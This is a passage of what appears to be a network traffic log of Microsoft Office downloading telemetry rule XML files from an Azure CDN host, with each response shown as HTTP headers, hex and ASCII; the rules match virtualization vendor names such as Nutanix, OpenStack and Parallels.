60	192.168.2.4	62884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-16849878b78smng4k6nq15r6s40000000ba000000000awf0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	62885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3efaf52f-501e-008c-0d35-29cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-15b8d89586fzcfbd8we4bvhqds00000004mg00000000k3ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	62886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-16849878b78hh85qc40uyr8sc800000009z000000000sbsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	62887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:07 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-16849878b78x6gn56mgecg60qc0000000bm000000000ee18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	62888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:07 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:07 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162707Z-16849878b785jrf8dn0d2rczaw0000000azg000000007ya2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	62889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:08 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162708Z-16849878b78qwx7pmw9x5fub1c00000007ug00000000sf33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	62891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:08 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:08 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162708Z-16849878b785jrf8dn0d2rczaw0000000b0g0000000047mh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:08 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	62890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:08 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:08 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 98e85290-a01e-0021-7dec-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162708Z-16849878b78x44pv2mpb0dd37w00000001xg0000000097kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:27:08 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	62892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:08 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:08 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162708Z-16849878b7898p5f6vryaqvp580000000ap0000000007qhk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	62893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:08 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d24b0423-701e-0098-2b81-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162708Z-17c5cb586f6p5pndayxh2uxv5400000001c000000000ew3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	62894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:09 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:09 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:09 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162709Z-16849878b78xblwksrnkakc08w0000000920000000009y8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:09 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	62895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:09 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:09 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162709Z-16849878b78fssff8btnns3b1400000009xg00000000xnus x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 